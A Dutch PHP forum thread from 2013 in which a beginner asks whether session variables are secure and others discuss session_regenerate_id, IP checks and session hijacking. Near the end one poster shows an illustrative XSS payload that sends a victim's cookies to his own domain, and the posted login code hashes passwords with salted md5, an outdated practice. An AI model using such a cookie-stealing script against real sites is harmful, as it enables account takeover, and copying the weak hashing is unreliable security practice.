Session veilig?

Overzicht Reageren

Sponsored by: Vacatures door Monsterboard

Database Developer

Functieomschrijving Heb jij ongeveer 3 jaar ervaring als Database Developer met MS SQL of een vergelijkbare database? Wil jij werken voor een ambitieuze werkgever in regio Tilburg waar jij volledig de mogelijkheid krijgt jezelf te ontwikkelen? Lees dan snel verder! Hoe ziet jouw takenpakket eruit? Je gaat projecten gedurende het hele proces begeleiden. Je sluit aan bij afspraken met klanten om hun processen helder te krijgen. Vervolgens voer jij het project uit en zorgt dat dit zo goed mogelijk verloopt; Je werkt aan nieuwe softwareoplossingen die de logistieke processen verbeteren of vernieuwen; Je houdt je bezig met het ontwikkelen van

Bekijk vacature »

JAVA Programmeur

Bedrijfsomschrijving Functieomschrijving We zoeken per direct enthousiaste software engineers die ons team komen versterken.We werken in DevOps teams met een sterk gevoel voor verantwoordelijkheid. Er wordt nauw samengewerkt met ons Business analyse team (BAT), met onze uitvoerende medewerkers en met de DevOps teams onderling binnen het domein. Het liefst hebben we veel en vaak interactie met onze interne en externe eindgebruikers om zo de juiste dingen te maken. We werken multidisciplinair in een dynamische omgeving. Achtergrond opdracht De Businesseenheid Examens is verantwoordelijk voor de logistiek van de staatsexamens Voortgezet (speciaal) onderwijs, Nederlands als 2e taal en schoolexamens. In het kader

Bekijk vacature »

PHP Developer - Draag bij aan de maatschappij!

Bedrijfsomschrijving Wil jij als applicatieontwikkelaar deel uitmaken van een gedreven ontwikkelteam en werken aan innovatieve producten? Dan hebben wij dé uitdaging voor jou! Wij zijn op zoek naar een enthousiaste collega die samen met ons de technische ondergrond van onze producten verder wil ontwikkelen met behulp van PHP. Met jouw expertise geef je de finishing touch aan onze producten om jezelf steeds opnieuw weer te verrassen. Functieomschrijving Bij ons staan innovatie en creativiteit centraal. Wij zijn op zoek naar een enthousiaste PHP ontwikkelaar die nieuwe ideeën en inzichten kan inbrengen en daarmee zichzelf en het team verder kan laten groeien.

Bekijk vacature »

Database Developer

Functieomschrijving Wat ga je doen? Als developer ben jij samen met een gemotiveerd team van 10 collega’s verantwoordelijk voor het creëren van aangemeten software voor klanten. Je bent klantvriendelijk en oplossingsgericht ingesteld, omdat het essentieel is om de klanten zo goed mogelijk te helpen met hun uitdagingen. Het is mogelijk om vanuit huis je werkzaamheden uit te voeren, maar het is ook prettig als je in de omgeving van Tilburg woont om naar het kantoor te kunnen komen. Vind jij het leuk om jouw creatieve vaardigheden te benutten om complexe systemen te ontwikkelen? Lees dan snel verder! Bedrijfsprofiel Voor wie

Bekijk vacature »

Embedded Software Developer

Functie omschrijving Voor een mooi softwarebedrijf in omgeving Ridderkerk zijn wij op zoek naar een Embedded Software developer. Ben jij enthousiast en een echte team player? Lees dan snel of dit iets voor jou is! Binnen deze rol houdt jij je bezig met alle werkzaamheden die nodig zijn om een functionaliteit te bouwen. Denk aan ontwerpen, architectuur, programmeren en algoritmes. Je voert test en validatie werkzaamheden uit bij de implementatie bij de klant. Ben jij een Embedded Software Developer die affiniteit heeft met de allernieuwste technieken? Laat dan snel wat van je horen! Bedrijfsprofiel Onze opdrachtgever bestaat uit een groot

Bekijk vacature »

Dynamics Ontwikkelaar

Dit ga je doen Ontwikkelen van Dynamics 365 voor de interne uitrol; Samen met de consultants sparren met klanten over de wensen en eisen; Ontwikkelen van Dynamics 365 voor verschillende grote klanten; Technische analyse en testen; Meedenken over het gebruik en de richting van Dynamics binnen de organisatie. Hier ga je werken Onze opdrachtgever, gevestigd in regio Eindhoven, levert een compleet dienstenpakket op het gebied van IT. Zij pakken verschillende (complexe) vraagstukken van grote organisaties op. De sfeer intern is gezellig en informeel. Men houdt van hard werken maar gezelligheid door middel van een borrel of gezamenlijke lunch komt er

Bekijk vacature »

Software Ontwikkelaar .NET te Zaandam

Bedrijfsomschrijving Je komt hier terecht bij een door-en-door softwarebedrijf, waarbinnen meerdere SaaS pakketten worden ontwikkelt voor diverse sectoren. Hierbij kun je denken aan bijvoorbeeld de logistieke en medische branche. Deze organisatie kenmerkt zich door de hoge mate van complexiteit in de applicaties, wat betekent dat jij je hier niet zal gaan vervelen. Integendeel: Jij gaat hier elke dag ontzettend veel leren en je in razend tempo ontwikkelen als C# .Net Developer met focus op back-end. Het team bestaat uit ongeveer 20 personen personen, waarvan het grootste deel zich richt op software development. De sfeer is informeel en professioneel. De producten

Bekijk vacature »

Full stack developer Node.js

Functie Als fullstack JavaScript developer vind jij het uitdagend om op basis van concrete klantvragen nieuwe functionaliteiten te ontwikkelen. Bij voorkeur worden deze functionaliteiten op een bepaalde manier geprogrammeerd, zodat ze door meerdere klanten te gebruiken zijn. Je hebt dus vaak te maken met abstracte vraagstukken. Om dit te kunnen realiseren sta je nauw in contact met de product owner en/of klant. Je bent niet alleen onderdeel van het development team, maar hebt ook vaak contact met de product-owner en/of klanten om daardoor inzichten te verzamelen die leiden tot productverbeteringen. • Inzichten verzamelen bij de klant en/of product owner •

Bekijk vacature »

Senior PHP developer

Functie Als Senior PHP developer heb je een sterke mening over de architectuur van projecten en de processen binnen het team. Je bent de sparringpartner voor je Team Lead. Ook ondersteun je met jouw kennis de minder ervaren developers in jouw team. Ze werken regelmatig aan projecten vanaf scratch en dit geeft ruimte om voor nieuwe technieken te kiezen. Naast het ontwikkelen van software ben je continue bezig om ook jezelf te ontwikkelen. Ze werken met o.a.: PHP, Laravel, Doctrine, PHP Unit, Behat, React, TypeScript, (My)SQL, Postgress, Redis, ElasticSearch, Docker, Nginx, GIT flow, JIRA, AWS. Eisen • HBO werk- en

Bekijk vacature »

C++ Developer

Functieomschrijving Ben jij als software engineer toe aan een nieuwe uitdaging? Dan zijn wij op zoek naar jou! Voor het maken van de procesbesturingsoftware gebruiken onze projectteams een in C++ en C# geschreven tool. Dit is een gedistribueerd object framework wat alle kernfuncties biedt voor een procesautomatisering. Verder zullen jouw werkzaamheden o.a. bestaan uit: Analyseren van vragen en wensen van gebruikers en deze vertalen naar een functioneel ontwerp; Ontwerpen, programmeren en testen van productaanpassingen; Implementeren van nieuwe productreleases in de projectteams; Continu toetsen van het effect van nieuwe releases op andere tools en processen; Inzichtelijk maken van voortgang omtrent softwarewerkzaamheden,

Bekijk vacature »

Junior Java Developer

Dit ga je doen Full stack web- en appdevelopment; Vertalen van de functionele wensen naar de technische specificaties; Sturing geven aan/klank board zijn voor de software teams; Trainen van de software teams; Sparren met klanten; Meedenken over architectuur. Hier ga je werken De organisatie is een bureau welke websites en mobiele applicaties bouwt voor verschillende toonaangevende organisaties. Hierbij richten zij zich voornamelijk op de sectoren leisure, overheid en zorg. De sfeer intern kenmerkt zich door informaliteit, gezelligheid en ambitie. Ze werken dag in dag uit samen om mooie producten op te leveren voor hun klanten. Op dit moment zijn er

Bekijk vacature »

Node.js developer

Functie Onder begeleiding van 3 accountmanagers waarvan er 1 binnen jouw expertise je aanspreekpunt zal zijn ga je aan de slag bij diverse opdrachtgevers. Hij of zij helpt je bij het vinden van een passende en uitdagende opdracht. Hierin houden ze uiteraard rekening met jouw situatie, ervaring en (technische) ambities. De opdrachten duren gemiddeld één tot 2 jaar. Hierdoor kun je je ook echt vastbijten in een project en als consultant impact maken. Naast de opdracht ben je regelmatig met je collega’s van de IT-afdeling om bijvoorbeeld onderlinge kennis te delen, of nieuwe trends te bespreken. Ook worden er regelmatig

Bekijk vacature »

Software Developer

Functie omschrijving Heb jij affiniteit met ICT en een WO diploma in de pocket? Dan ben je hier aan het juiste adres. Voor een opdrachtgever in Amsterdam zijn wij op zoek naar kandidaten die (enige) ervaring hebben met Java, Javascript, C of C++. Je zal door middel van trainingen worden opgeleid tot een volwaardige Software Developer. Er wordt tijdens de training natuurlijk veel aandacht besteedt aan de vaktechnische aspecten, maar er gaat ook veel aandacht uit naar jouw persoonlijke ontwikkeling. Bedrijfsprofiel Bij deze opdrachtgever in de omgeving van Amsterdam zoeken ze meerdere enthousiaste kandidaten die hun carrière willen starten met

Bekijk vacature »

Junior .NET Developer

Dit ga je doen Ontwikkelprocessen verder optimaliseren en verder ontwikkelen met C#; CI/CD-pipelines automatiseren; Ontwikkelen van herbruikbare componenten; Front-end pagina's gebruiksvriendelijk maken. Hier ga je werken Als junior .NET Developer kom je terecht binnen een grote en internationale organisatie. Zij streven naar een positieve impact op de mens, milieu en maatschappij. Het bedrijf is oorspronkelijk een familiebedrijf en werkt aan de productie van hoogwaardige en technische systemen voor de gezondheidszorg. Momenteel willen zij betere ontwikkelprocessen creëren op internationaal gebied en staat kwaliteit en veiligheid voor hun op nummer 1! Als junior .NET Developer werk je aan het ontwikkelen van verbeterde

Bekijk vacature »

T-SQL Database developer

Functie omschrijving Ben jij een ETL database specialist? Houd jij ervan om te puzzelen met Databases, Query's & Stored procedures? Zoek jij uitdaging, vrijheid en verantwoordelijkheid? Zoek dan niet verder! Wij zijn per direct op zoek naar medior en senior database developers. Je gaat werken voor een relatief klein softwarebedrijf in omgeving Tilburg. Samen met 12 collega's (allemaal techneuten), ga jij je bezig houden met het bouwen en/of onderhouden van database software. Deze software wordt internationaal ingezet voor het automatiseren van logistieke processen. Jouw werkzaamheden gaan er als volgt uit zien: Je bent in een klein team met developers, verantwoordelijk

Bekijk vacature »
Francoi gckx

Francoi gckx

22/01/2013 21:34:28
Quote Anchor link
Als je inlogt word een aantal $_SESSION's aangemaakt, bijv $_SESSION['username'];

Is dit veilig, kan iemand zonder in te loggen toch een $_SESSION['username'] hebben?

Dubbelpost verwijderd, verder in dit topic.[/modedit]
Gewijzigd op 22/01/2013 23:51:10 door Bas IJzelendoorn
 
PHP hulp

PHP hulp

04/12/2024 09:47:35
 
Eddy E

Eddy E

22/01/2013 21:36:30
Quote Anchor link
Nee, want die maak je op de server zelf aan.
Ik kan niet op jouw server (die van je website) $_SERVER aanmaken.

Maar je moet wel goed beveiligen WAAR je ['username'] aanmaakt. Dus het inloggen moet wel kloppen.
 
Francoi gckx

Francoi gckx

22/01/2013 21:39:09
Quote Anchor link
Ok dan zit het denk ik wel goed, bedankt!
 
Chris PHP

Chris PHP

23/01/2013 07:40:30
Quote Anchor link
@Eddy,
Er is zoiets als session hijacking, ik had verwacht dat je dit wel zou weten eerlijk gezegt. Het is dus mogelijk dat hackers meeliften op een sessie van een gebruiker, en zo verder kunnen gaan.

Waarom zou je tevens een $_SERVER moeten aanmaken? Terwijl het hier om $_SESSION gaat?

@Francoi,
Niets is 100% veilig, er zijn altijd manieren. Zorg ervoor dat je geen gevoelige informatie opslaat in een sessie, deze kunnen wel degelijk uitgelezen worden. Een session_id wordt opgeslagen in een cookie op de pc van de gebruiker, dus deze id bemachtigen is niet al te moeilijk.
 
Kees Schepers

kees Schepers

23/01/2013 08:33:42
Quote Anchor link
Daarom moet je altijd net voordat iemand ingelogd is (dus na de post maar voor je de sessie aanmaakt) de sessie vernieuwen met:

session_regenerate_id(true);

Dan is session hijacking al een stuk lastiger, al dan niet meer mogelijk ;)
 
Dennis WhoCares

Dennis WhoCares

23/01/2013 08:52:20
Quote Anchor link
Session hijacking is toch wel interessant.
Ikzelf maak gebruik van mn database, waar mijn sessies opgeslagen worden
(unieke ID met username en ip adress van de gebruiker)
Vervolgens wordt t ip gecontrolleerd en de sessie.
Is dit te hijacken ?
 
Francoi gckx

Francoi gckx

23/01/2013 09:28:33
Quote Anchor link
Wat doet session_regenerate_id(true) precies? (heeft u een voorbeeld?)

En moet ik het letterlijk voordat ik een session aanmaak of bovenaan de login script na session_start?
Gewijzigd op 23/01/2013 09:28:55 door Francoi gckx
 
- SanThe -

- SanThe -

23/01/2013 10:04:31
Quote Anchor link
Francoi gckx op 23/01/2013 09:28:33:
Wat doet session_regenerate_id(true) precies? (heeft u een voorbeeld?)

En moet ik het letterlijk voordat ik een session aanmaak of bovenaan de login script na session_start?


Kijk zelf even op php.net:
http://nl.php.net/manual/en/function.session-regenerate-id.php
 
Francoi gckx

Francoi gckx

23/01/2013 10:36:49
Quote Anchor link
Ik ben een beginner en die link is niet echt voor beginners
 
Chris PHP

Chris PHP

23/01/2013 10:39:18
Quote Anchor link
@Francoi,
Overal waar je sessies gebruikt moet bovenaan de pagina session_start() staan. Dus echt als een van de eerste regels! Anders wordt er op die pagina geen sessie gebruikt.

Dus niet alleen op je inlog pagina, maar ook op de pagina's waar de gebruiker voor ingelogd moet zijn.

Tevens is de link van SanThe vrij duidelijk met session_regenerate_id(true); maakt hij een nieuwe sessie id aan.


@Kees,
Dan maakt hij voor die sessie alleen een nieuwe id aan, dat blijft ie de gehele sessie en staat lokaal in de cookie. Hijacking blijft dan nog steeds mogelijk zolang de gebruiker is ingelogd.
Wil je het goed doen, moet je dit op elke pagina waar sessies gebruikt worden doen.

@Dennis,
Wordt dat per sessie gedaan? Of eenmalig?

Als het eenmalig is kan de gebruiker dus nooit via een andere omgeving inloggen, aangezien hij daar een ander ip krijgt.

Wordt het per sessie gedaan maakt het stukken lastiger, echter is het vrij makkelijk om je ip te wijzigen naar wat je wil voor de buitenwereld. Dan moeten ze uiteraard wel het ip hebben, en je externe ip van je provider kan alleen veranderen wanneer je bijvoorbeeld je modem reset.

Dus de controle op ip is ook niet waterdicht.
Gewijzigd op 23/01/2013 10:42:32 door Chris PHP
 
Francoi gckx

Francoi gckx

23/01/2013 10:45:30
Quote Anchor link
Chris NVT op 23/01/2013 10:39:18:
@Francoi,
Overal waar je sessies gebruikt moet bovenaan de pagina session_start() staan. Dus echt als een van de eerste regels! Anders wordt er op die pagina geen sessie gebruikt.

Ja dat van session_start begrijp ik maar ik had het over session_regenerate_id

Maar bijvoorbeeld in login.php

1.Het begint met session_start() bovenaan (moet ik session_regenerarate_id onder session_start gelijk gebruiken?)

2. Dan komen de controlles als er niks ingevuld is of onjuiste email

3. Als 2 goed is dan:

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
// create query
        if ($stmt = $mysqli->prepare("SELECT members.id, permissions.name FROM members, permissions WHERE username=? AND password = ? AND members.type = permissions.id"))
        {

            $stmt->bind_param("ss", $input['user'], md5($input['pass'] . $config['salt']));
            $stmt->execute();
            $stmt->bind_result($id, $type);
            $stmt->fetch();
            
            // check if there is a match in the database for the user/password combination
            if ($id)
            {

                // close statement
                $stmt->close();
                
                // set session variable
                $_SESSION['id'] = $id;
                $_SESSION['type'] = $type;
                $_SESSION['username'] = $input['user'];
                $_SESSION['last_active'] = time() - 60 * 60 * 24;
                
                // redirect to member's page
                header("Location: members.php");
            }

?>


5. Waar moet ik hier session_regenerate_id gebruiken, was mijn vraag?
 
- SanThe -

- SanThe -

23/01/2013 10:46:13
Quote Anchor link
Chris NVT op 23/01/2013 10:39:18:
je externe ip van je provider kan alleen veranderen wanneer je bijvoorbeeld je modem reset.

Dus de controle op ip is ook niet waterdicht.


Mobieltjes hebben (vaak) bij elk request een ander IP.
IP-checken is dus eigenlijk zinloos.
Gewijzigd op 23/01/2013 14:58:48 door - SanThe -
 
Chris PHP

Chris PHP

23/01/2013 10:47:12
Quote Anchor link
Francoi gckx op 23/01/2013 10:45:30:
Ja dat van session_start begrijp ik maar ik had het over session_regenerate_id

Altijd na session_start();
Gewijzigd op 23/01/2013 10:49:55 door Chris PHP
 
Francoi gckx

Francoi gckx

23/01/2013 10:50:08
Quote Anchor link
Ja sorry voor de onduidelijkheid maar ik bedoel met "voordat ik een session aanmaak" niet session_start
maar
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
<?php
// set session variable
                $_SESSION['id'] = $id;
                $_SESSION['type'] = $type;
                $_SESSION['username'] = $input['user'];
                $_SESSION['last_active'] = time() - 60 * 60 * 24;
?>


Zie mijn vorige post
 
Chris PHP

Chris PHP

23/01/2013 10:51:33
Quote Anchor link
@Francoi,

Je kunt het gewoon onder session_start(); zetten op je inlogpagina.
 
Francoi gckx

Francoi gckx

23/01/2013 10:51:37
Quote Anchor link
Ok dus ter bevestiging moet ik dit bovenin zetten:

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
<?php session_start();
session_regenerate_id(true) (dat worden de eerste twee regels)

Ok bedankt Chris
Gewijzigd op 23/01/2013 10:52:08 door Francoi gckx
 
Kees Schepers

kees Schepers

23/01/2013 14:25:35
Quote Anchor link
Chris NVT op 23/01/2013 10:39:18:
@Kees,
Dan maakt hij voor die sessie alleen een nieuwe id aan, dat blijft ie de gehele sessie en staat lokaal in de cookie. Hijacking blijft dan nog steeds mogelijk zolang de gebruiker is ingelogd.
Wil je het goed doen, moet je dit op elke pagina waar sessies gebruikt worden doen.


Hijacking werkt toch als volgt:

Gebruiker A die gaat naar een website en ziet daar een login scherm. Gebruiker B (de hacker) steelt de cookie / sessionid van gebruiker A. Gebruiker A gaat inloggen op de site en doet wat hij verder moet doen. Gebruiker B heeft zijn sessie gekopieerd en is daarmee ook automatisch ingelogd.

Als bovenstaande klopt, los je het toch op door de sessie ID te veranderen net voor gebruiker A is ingelogd? Want als gebruiker A ingelogd is, dan heeft gebruiker B een ongeldige sessie ID in zijn cookie staan waar hij niks mee kan.

Mocht mijn verhaal niet kloppen licht het dan eventjes toe, ben ik wel benieuwd wat leer ik er ook weer wat van :)

Aan de andere kant; als je sessie ID gestolen wordt nadat je ingelogd bent, ben je ook de lul :P is het daarom goed om elke pagina de sessie te vernieuwen?
Gewijzigd op 23/01/2013 14:27:25 door kees Schepers
 
Ozzie PHP

Ozzie PHP

23/01/2013 14:44:24
Quote Anchor link
Kees Schepers op 23/01/2013 14:25:35:
Gebruiker A die gaat naar een website en ziet daar een login scherm. Gebruiker B (de hacker) steelt de cookie / sessionid van gebruiker A.

Hoe zie je dit precies voor je? Hoe kan gebruiker B de sessie van gebruiker A stelen?

Volgens mij wordt sessie kapen met bruteforce aanvallen gedaan. Er wordt door de hacker telkens een cookie gemaakt met een andere sessie-id, totdat hij een keer "beet" heeft. Het maakt dan niet uit of je wel of niet ingelogd bent.

Wat je zou kunnen doen is een extra cookie gebruiken met een of andere hash daarin. Bezoeker A komt op de site en er wordt een sessie gestart. Tegelijkertijd wordt er een cookie op zijn computer gezet met een hash. Hacker B gaat bruteforcen en vindt op een gegevens moment de sessie-id van bezoeker A. Aangezien hij niet beschikt over de extra cookie met daarin de hash, kan hij de sessie niet overnemen. Het systeem ziet nu dus dat de sessie gehackt is, maar dat de hash niet klopt. Op dat moment moet de complete sessie worden vernietigd.
Gewijzigd op 23/01/2013 14:45:01 door Ozzie PHP
 
Kees Schepers

kees Schepers

23/01/2013 15:19:08
Quote Anchor link
Met een javascript exploit kan ik vrij eenvoudig jouw cookies stelen hoor :)

Stel dat prive berichten op phphulp niet goed tegen XSS waren beschermt stuurde ik je een prive bericht met:

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<script>
window.location = 'keesje.nl/index.php?cookies=' + document.cookies;
</script>


En mijn index.php stuurt jouw met een PHP header redirect weer terug naar phphulp. Gevolg is dat je denkt dat er een fout in de site zit en je bijna niet merkt dat je omgeleid wordt.
 
Ozzie PHP

Ozzie PHP

23/01/2013 15:32:13
Quote Anchor link
ah oke... sneaky ;-)
 



Overzicht Reageren

 
 

Om de gebruiksvriendelijkheid van onze website en diensten te optimaliseren maken wij gebruik van cookies. Deze cookies gebruiken wij voor functionaliteiten, analytische gegevens en marketing doeleinden. U vindt meer informatie in onze privacy statement.